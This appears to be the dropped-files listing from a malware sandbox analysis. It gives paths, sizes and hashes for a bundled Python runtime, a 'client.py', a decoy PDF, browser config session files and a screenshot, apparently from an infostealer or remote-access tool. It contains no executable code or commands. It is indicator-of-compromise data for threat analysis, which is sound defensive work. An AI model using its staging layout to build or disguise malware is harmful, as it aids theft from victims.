                • SHA256 c73ac0487ed1e4035190f24ea2de651a70133aadca2aec97cc8e36adc9f09aab
                • MD5 SHA1 SHA512 TLSH

                connection.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\http2\connection.py
                • Size 12KB
                • SHA256 6c7307e9f36f6adc173eb2aaadc9fbe32037a5459ca8f0e9a672b52dc2826cff
                • MD5 SHA1 SHA512 SSDEEP TLSH

                probe.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\http2\probe.py
                • Size 2KB
                • SHA256 9e7024a9b8406a43a217be6bcfb5b4b9d677f047a1fee0fc7e357be0def71442
                • MD5 SHA1 SHA512 TLSH

                py.typed

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\py.typed
                • Size 93B
                • SHA256 51a0ae3c56b71fc5006a46edfb91bc48f69c95d4ce1af26fd7ca4f8d42798036
                • MD5 SHA1 SHA512 TLSH

                __init__.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\util\__init__.py
                • Size 1001B
                • SHA256 faa792d1071e8af6b3bc110a0cd142008fba00271d0ce1384ccbe8ed22cd9404
                • MD5 SHA1 SHA512 TLSH

                connection.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\util\connection.py
                • Size 4KB
                • SHA256 2633bbdb69731e5ccb5cf4e4afd65605d86c7979cc5633126f50c92d5ad74a74
                • MD5 SHA1 SHA512 SSDEEP TLSH

                proxy.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\util\proxy.py
                • Size 1KB
                • SHA256 b1e3fcf90e41e9b07474cb703e3f98719650df4bc7b8ba91bbeb48d096767f3b
                • MD5 SHA1 SHA512 TLSH

                response.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\util\response.py
                • Size 3KB
                • SHA256 bd013adfdba81218f5be98c4771bb994d22124249466477ba6a965508d0164e0
                • MD5 SHA1 SHA512 TLSH

                ssltransport.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\util\ssltransport.py
                • Size 8KB
                • SHA256 133e0ef2947fbd3f1d6a7fc5bea0584ba7600df05710c7d57ebcdc754a167e2e
                • MD5 SHA1 SHA512 SSDEEP TLSH

                url.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\util\url.py
                • Size 14KB
                • SHA256 3c40d0332a6276e75ed2701972d2cb8852bd7a937e2cf9d21fb2a938b2f0a87d
                • MD5 SHA1 SHA512 SSDEEP TLSH

                util.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\util\util.py
                • Size 1KB
                • SHA256 8f795b64ad633f28b00f7e13f08809cdd5846554fee04fb4bd82098bd52378d0
                • MD5 SHA1 SHA512 TLSH

                wait.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pip\_vendor\urllib3\util\wait.py
                • Size 4KB
                • SHA256 fe987c22b511deca8faa2d0ea29420254947e30ce419e3390a2c80ed7186b662
                • MD5 SHA1 SHA512 SSDEEP TLSH

                __init__.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\psutil\__init__.py
                • Size 90KB
                • SHA256 7b6a0675824eb1fa2ff0cb1eb36e358dc454703e51dfa4e9a0e6ccd26a159f0c
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _common.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\psutil\_common.py
                • Size 25KB
                • SHA256 6fc6bf5f86491ba962521374472570238929003cebea8e9b6c55224084b52bb0
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _ntuples.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\psutil\_ntuples.py
                • Size 11KB
                • SHA256 96f42bc24549636b5707a949b7cc92e89c87f7cea7d343a6d17821ac670dfcd2
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _psutil_windows.pyd

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\psutil\_psutil_windows.pyd
                • Size 69KB
                • SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _pswindows.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\psutil\_pswindows.py
                • Size 35KB
                • SHA256 0bbd52dcb214735be4168d11a2ae192d5bc7265c8cf72c611179476479687f54
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pythoncom.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pythoncom.py
                • Size 1KB
                • SHA256 0f83837c03f3e0ef8a0b9533ca0491a50512239b9286e6e495223fe52bf5157b
                • MD5 SHA1 SHA512 TLSH

                Scintilla-License.txt

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pythonwin\Scintilla-License.txt
                • Size 873B
                • SHA256 57ec79bbeab4fd1cf7460a7ad450d2ab01471810459aeae9e75e4c66b472095f
                • MD5 SHA1 SHA512 TLSH

                demoutils.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pythonwin\pywin\Demos\app\demoutils.py
                • Size 1KB
                • SHA256 d1852592ced6c1a661de1a4a7071894cbc5ef244ea844c23f48d0b8126271cf3
                • MD5 SHA1 SHA512 TLSH

                LICENSE.txt

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pythonwin\pywin\idle\LICENSE.txt
                • Size 12KB
                • SHA256 a0fa1e7b8a4230055685e796548ac084a6c0eea395294574093bba72efd9191b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pywin32-312.dist-info\licenses\com\win32comext\mapi\src\MAPIStubLibrary\LICENSE
                • Size 1KB
                • SHA256 1c4cf44d2fb8bf2d10214d6da80cc9e05502824cc4460f35be4c7bcb4cde53da
                • MD5 SHA1 SHA512 TLSH

                License.txt

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pywin32-312.dist-info\licenses\win32\License.txt
                • Size 1KB
                • SHA256 a74d826efb242db087b850348e20abbfd591b51e2081f2048735290913872924
                • MD5 SHA1 SHA512 TLSH

                pywin32.pth

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pywin32.pth
                • Size 185B
                • SHA256 e7cd73df98b91c407dfd96d1f4dd18b7f9a60f29902b92cf5ece79b6eb637b81
                • MD5 SHA1 SHA512 TLSH

                pythoncom311.dll

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pywin32_system32\pythoncom311.dll
                • Size 665KB
                • SHA256 f20794876cd77d37d893512bdd8f2112bb791e134ebf2697c9034fa32eb93c11
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pywintypes311.dll

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\pywin32_system32\pywintypes311.dll
                • Size 132KB
                • SHA256 dcc14a7ed85a324e357eab7db970d8db61387c8b5d6baa23283aabd8300c4e09
                • MD5 SHA1 SHA512 SSDEEP TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\requests-2.34.2.dist-info\licenses\LICENSE
                • Size 9KB
                • SHA256 09e8a9bcec8067104652c168685ab0931e7868f9c8284b66f5ae6edae5f1130b
                • MD5 SHA1 SHA512 SSDEEP TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\backports.tarfile-1.2.0.dist-info\LICENSE
                • Size 1023B
                • SHA256 86da0f01aeae46348a3c3d465195dc1ceccde79f79e87769a64b8da04b2a4741
                • MD5 SHA1 SHA512 TLSH

                top_level.txt

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\jaraco_context-6.1.0.dist-info\top_level.txt
                • Size 7B
                • SHA256 d099cddcb7d71f82c845f5cbf9014e18227341664edc42f1e11d5dfe5a2ea103
                • MD5 SHA1 SHA512

                WHEEL

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\jaraco_functools-4.4.0.dist-info\WHEEL
                • Size 91B
                • SHA256 ff309ddcdd65ebd02bc724dbf2bcc4a0ff53a5b61792a44548d383e4ebb19d3b
                • MD5 SHA1 SHA512 TLSH

                LICENSE

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\jaraco_functools-4.4.0.dist-info\licenses\LICENSE
                • Size 1KB
                • SHA256 5a57cb4db85e2a2dd88c290628908add57e3451449e0a9a71fdfb38776fd759d
                • MD5 SHA1 SHA512 TLSH

                WHEEL

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\tomli-2.4.0.dist-info\WHEEL
                • Size 82B
                • SHA256 1b68144734c4b66791f27add5d425f3620775585718a03d0f9b110ba3a4d88db
                • MD5 SHA1 SHA512 TLSH

                INSTALLER

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\wheel-0.46.3.dist-info\INSTALLER
                • Size 2B
                • SHA256 e6184ce10e266134fdcfa401e8f1a95005bcd4f18d16b62b757323e2833fe9a9
                • MD5 SHA1 SHA512

                _bdist_wheel.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\wheel\_bdist_wheel.py
                • Size 21KB
                • SHA256 6e998d6bbfecf826059158177fd10d0184e2274d57061456e29c47d53f1762c2
                • MD5 SHA1 SHA512 SSDEEP TLSH

                unpack.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\wheel\_commands\unpack.py
                • Size 1016B
                • SHA256 0230d24b6dd763209215f89f9ccbad8a7ae93eff832bfdb06cd1e4280505c203
                • MD5 SHA1 SHA512 TLSH

                _metadata.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\wheel\_metadata.py
                • Size 6KB
                • SHA256 04fe630bdb82d61ca2729ee72f8149d8b622c4d169109215fee3036352816418
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _setuptools_logging.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\wheel\_setuptools_logging.py
                • Size 781B
                • SHA256 fb9282fa59ded2294e5162037ce92a6a951618c15986e2980c86af219881e643
                • MD5 SHA1 SHA512 TLSH

                bdist_wheel.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\wheel\bdist_wheel.py
                • Size 1KB
                • SHA256 1ebcd8892ccc921e688400219509d8052d69f2a6ebf395fa179f71ab177d9018
                • MD5 SHA1 SHA512 TLSH

                macosx_libfile.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\wheel\macosx_libfile.py
                • Size 16KB
                • SHA256 a4bd309bcf2344c97fe004a01a5360fe6cfaf599afe719bc2529232ddc32bc84
                • MD5 SHA1 SHA512 SSDEEP TLSH

                metadata.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\_vendor\wheel\metadata.py
                • Size 757B
                • SHA256 1a49ce3bb2498993257047bf7e20fb9ea9c34d32ddd2c5fff88822a4ce0bdfee
                • MD5 SHA1 SHA512 TLSH

                cli.exe

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\cli.exe
                • Size 11KB
                • SHA256 32acc1bc543116cbe2cff10cb867772df2f254ff2634c870aef0b46c4b696fdb
                • MD5 SHA1 SHA512 SSDEEP TLSH

                gui.exe

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\setuptools\gui.exe
                • Size 11KB
                • SHA256 85dae1e95d77845f2cb59bcac3d4afe74bbe4c91a9bcc5bf4a71cd43104dbe7c
                • MD5 SHA1 SHA512 SSDEEP TLSH

                INSTALLER

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\urllib3-2.7.0.dist-info\INSTALLER
                • Size 4B
                • SHA256 ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508
                • MD5 SHA1 SHA512

                INSTALLER

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\websockets-15.0.1.dist-info\INSTALLER
                • Size 5B
                • SHA256 0b77bdb04e0461147a7c783c200bc11a6591886e59e2509f5d7f6cb7179d01ab
                • MD5 SHA1 SHA512

                _win32sysloader.pyd

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32\_win32sysloader.pyd
                • Size 15KB
                • SHA256 8ad2e21cd1a627fa36f082ce0b71f81c91f9d3825908a520072245a2545e1be1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pywin32_bootstrap.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32\lib\pywin32_bootstrap.py
                • Size 772B
                • SHA256 fd31f27bc85a6b9c974670838b6eefafb32991be4a9f840f96a4f5524df3b3c3
                • MD5 SHA1 SHA512 TLSH

                pywintypes.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32\lib\pywintypes.py
                • Size 6KB
                • SHA256 7d75c04bc69db49bcf69f58bf27fcdcd0942b326f8a21ed937530e31c2be4a41
                • MD5 SHA1 SHA512 SSDEEP TLSH

                winerror.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32\lib\winerror.py
                • Size 283KB
                • SHA256 10b9d4cebf06f2ca75762cdd82b3ddf2d3a2d99e2343b528b9ecb4db56f62e55
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pywin32_postinstall.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32\scripts\pywin32_postinstall.py
                • Size 24KB
                • SHA256 453dd1a2020102b3148510856a2bd6925d8db15670afd70d35dda172c5d4054e
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pywin32_testall.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32\scripts\pywin32_testall.py
                • Size 3KB
                • SHA256 158be3c78ded85dbdb91669888b3135f7f51c6c14bd1cfb5a3ec58dae76506a0
                • MD5 SHA1 SHA512 TLSH

                win32api.pyd

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32\win32api.pyd
                • Size 135KB
                • SHA256 cd9ec02d502dc1548233aa2efe9fcbf47e4677b28c169553f36194a50f55ff28
                • MD5 SHA1 SHA512 SSDEEP TLSH

                win32event.pyd

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32\win32event.pyd
                • Size 29KB
                • SHA256 cd1572c89951ec38ec413b68084ae5fdfba7951f67cf74223dea977964fbafd1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pycom_blowing.gif

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32com\HTML\image\pycom_blowing.gif
                • Size 20KB
                • SHA256 b3c652073b3c75f5ac81381b6f44b8deead065c635c63771a0806e48778bafaa
                • MD5 SHA1 SHA512 SSDEEP TLSH

                License.txt

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32com\License.txt
                • Size 1KB
                • SHA256 fad39c18fc3825fa278db1c86fd52cf88d7c525b3c2fbf7817fa383cbae4d423
                • MD5 SHA1 SHA512 TLSH

                __init__.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32com\__init__.py
                • Size 4KB
                • SHA256 dbf2a28909ac16441f0c267ef79cf507b683bb064128ecdcc189db874d33f67f
                • MD5 SHA1 SHA512 SSDEEP TLSH

                CLSIDToClass.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32com\client\CLSIDToClass.py
                • Size 1KB
                • SHA256 7a96e5656314651efe97e00cc92ab48f6710ead93a01b01b6fa4a76bc4b954da
                • MD5 SHA1 SHA512 TLSH

                __init__.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32com\client\__init__.py
                • Size 26KB
                • SHA256 72bf52e8332fb66d34b7c74226c47a5a9de0b687c279103d62c9db8660255e34
                • MD5 SHA1 SHA512 SSDEEP TLSH

                build.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32com\client\build.py
                • Size 29KB
                • SHA256 20cc2258b87ba798432713a0f9b8519991ca3136d46c4099f2d3f77bfa223385
                • MD5 SHA1 SHA512 SSDEEP TLSH

                dynamic.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32com\client\dynamic.py
                • Size 27KB
                • SHA256 35eb50dad8f0e61c35d5c3182b0c2757e06cdb809be4d2a9be5ee0c255c5e3e1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                gencache.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32com\client\gencache.py
                • Size 28KB
                • SHA256 5b301932f6025451342dea673b0e57fd351d0142bfaa8c954f418917b85f28d7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                __init__.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32comext\bits\__init__.py
                • Size 198B
                • SHA256 0486114a785d3c74a9940bd828bf4d04bb90599eba7be427269895580fc00f7f
                • MD5 SHA1 SHA512 TLSH

                __init__.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\win32comext\internet\__init__.py
                • Size 139B
                • SHA256 dd388bf3740ba9de76807a928b7552844018947d3a8555eeaa2cefce7d623d13
                • MD5 SHA1 SHA512 TLSH

                wmi.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Lib\site-packages\wmi.py
                • Size 54KB
                • SHA256 18a1541ee0f4c62be8eb5b64d072ef250ed8c9077f6bcdf44e9356bedfc04bf7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                idna.exe.deleteme

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\Scripts\idna.exe.deleteme
                • Size 105KB
                • SHA256 a708cf394a077e9d7744ed6273abbff9f50755546a31380aff0eb165e4ce3698
                • MD5 SHA1 SHA512 SSDEEP TLSH

                VCRUNTIME140.dll

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\VCRUNTIME140.dll
                • Size 116KB
                • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _ctypes.pyd

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\_ctypes.pyd
                • Size 121KB
                • SHA256 c148292328f0aab7863af82f54f613961e7cb95b7215f7a81cafaf45bd4c42b7
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _hashlib.pyd

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\_hashlib.pyd
                • Size 63KB
                • SHA256 87dd0c858620287454fd6d31d52b6a48eddbb2a08e09e8b2d9fdb0b92200d766
                • MD5 SHA1 SHA512 SSDEEP TLSH

                _socket.pyd

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\_socket.pyd
                • Size 77KB
                • SHA256 a19e3c7c03ef1b5625790b1c9c42594909311ab6df540fbf43c6aa93300ab166
                • MD5 SHA1 SHA512 SSDEEP TLSH

                client.py

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\client.py
                • Size 40KB
                • SHA256 5a5b9a3f394df6b2e942fee1e3de8ad91e02289f0f56f60f961cc711a58d3224
                • MD5 SHA1 SHA512 SSDEEP TLSH

                libcrypto-3.dll

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\libcrypto-3.dll
                • Size 5.0MB
                • SHA256 05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de
                • MD5 SHA1 SHA512 SSDEEP TLSH

                libffi-8.dll

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\libffi-8.dll
                • Size 38KB
                • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python3.dll

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\python3.dll
                • Size 65KB
                • SHA256 db84bc052cfb121fe4db36242ba5f1d2c031b600ef5d8d752cf25b7c02b6bac6
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python311._pth

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\python311._pth
                • Size 50B
                • SHA256 6486ffaea9b3ccb7dc25095d9c21feaca212cbe4928eb48c626b7573e38338b7
                • MD5 SHA1 SHA512 TLSH

                python311.dll

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\python311.dll
                • Size 5.5MB
                • SHA256 0817a2a657a24c0d5fbb60df56960f42fc66b3039d522ec952dab83e2d869364
                • MD5 SHA1 SHA512 SSDEEP TLSH

                python311.zip

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\python311.zip
                • Size 4.1MB
                • SHA256 7d0f59c930e7d3d9352399ea3c95c0272489b3c09a8e95faaedfa8a23e20e5b1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                pythonw.exe

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\pythonw.exe
                • Size 99KB
                • SHA256 d5355e1de2a5195dccb1ba524b146aa7705be71af18d876819756838251b37b3
                • MD5 SHA1 SHA512 SSDEEP TLSH

                select.pyd

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\select.pyd
                • Size 29KB
                • SHA256 bae0974390945520eb99ab32486c6a964691f8f4a028ac408d98fa8fb0db7d90
                • MD5 SHA1 SHA512 SSDEEP TLSH

                vcruntime140_1.dll

                • Path C:\Users\Admin\AppData\Local\RataaaDir z6xaM1U1P5\vcruntime140_1.dll
                • Size 48KB
                • SHA256 a113f192195f245f17389e6ecbed8005990bcb2476ddad33f7c4c6c86327afe5
                • MD5 SHA1 SHA512 SSDEEP TLSH

                KitchenAid-Global_Digital_Growth_Partnership.pdf

                • Path C:\Users\Admin\AppData\Local\Temp\KitchenAid-Global_Digital_Growth_Partnership.pdf
                • Size 374KB
                • SHA256 bcb28522155ba6e2aac888012e6e48d4e5e57d055ccbb0bbc8a60a5a5453d49a
                • MD5 SHA1 SHA512 SSDEEP TLSH

                chrome.config.json

                • Path C:\Users\Admin\AppData\Local\Temp\output_332ppz6xaM1U1P5\.session\chrome.config.json
                • Size 511B
                • SHA256 c89c50d21e0b2524110e024a9113016b9ab7807f38d6ebf65bbeaf5321a55466
                • MD5 SHA1 SHA512 TLSH

                chrome.config.log

                • Path C:\Users\Admin\AppData\Local\Temp\output_332ppz6xaM1U1P5\.session\chrome.config.log
                • Size 187B
                • SHA256 a57d9de528d36526d03d358bdacfb975184cb5b9f740f47c2bba13619e1c0d70
                • MD5 SHA1 SHA512 TLSH

                chrome.config.status.json

                • Path C:\Users\Admin\AppData\Local\Temp\output_332ppz6xaM1U1P5\.session\chrome.config.status.json
                • Size 330B
                • SHA256 032d3824f32293c6e89313177429ff8666bbd0c824c678543484de884d7f811d
                • MD5 SHA1 SHA512 TLSH

                chrome.config.status.json

                • Path C:\Users\Admin\AppData\Local\Temp\output_332ppz6xaM1U1P5\.session\chrome.config.status.json
                • Size 328B
                • SHA256 a951984f40c2e38fee25d8bdd434eb5cff21e279a14dd8c72b9702c3d20765a8
                • MD5 SHA1 SHA512 TLSH

                chrome.config.status.json

                • Path C:\Users\Admin\AppData\Local\Temp\output_332ppz6xaM1U1P5\.session\chrome.config.status.json
                • Size 328B
                • SHA256 3afd54732648e7adb9107fc3e630519f1fc1352dfbd9a410c77f91f293430334
                • MD5 SHA1 SHA512 TLSH

                firefox.config.log

                • Path C:\Users\Admin\AppData\Local\Temp\output_332ppz6xaM1U1P5\.session\firefox.config.log
                • Size 175B
                • SHA256 6abf51cd92daf8e61a2b809df7d9d31c3460b47b15898765f6e4ef86d0608b4f
                • MD5 SHA1 SHA512 TLSH

                reason.txt

                • Path C:\Users\Admin\AppData\Local\Temp\output_332ppz6xaM1U1P5\reason.txt
                • Size 270B
                • SHA256 ab2ad5aa9d830c1b19de4a30d759b9ce111fbac00c283c7e524e89da021ad5b7
                • MD5 SHA1 SHA512 TLSH

                screenshot.jpg

                • Path C:\Users\Admin\AppData\Local\Temp\output_332ppz6xaM1U1P5\screenshot.jpg
                • Size 153KB
                • SHA256 8c8bc91df9e5ea027a2a9cd22081796d581362f14128ca257025a6be4b17c9d4
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/4368-1-0x0000018265300000-0x0000018265301000-memory.dmp

                memory/4368-4172-0x0000018265300000-0x0000018265301000-memory.dmp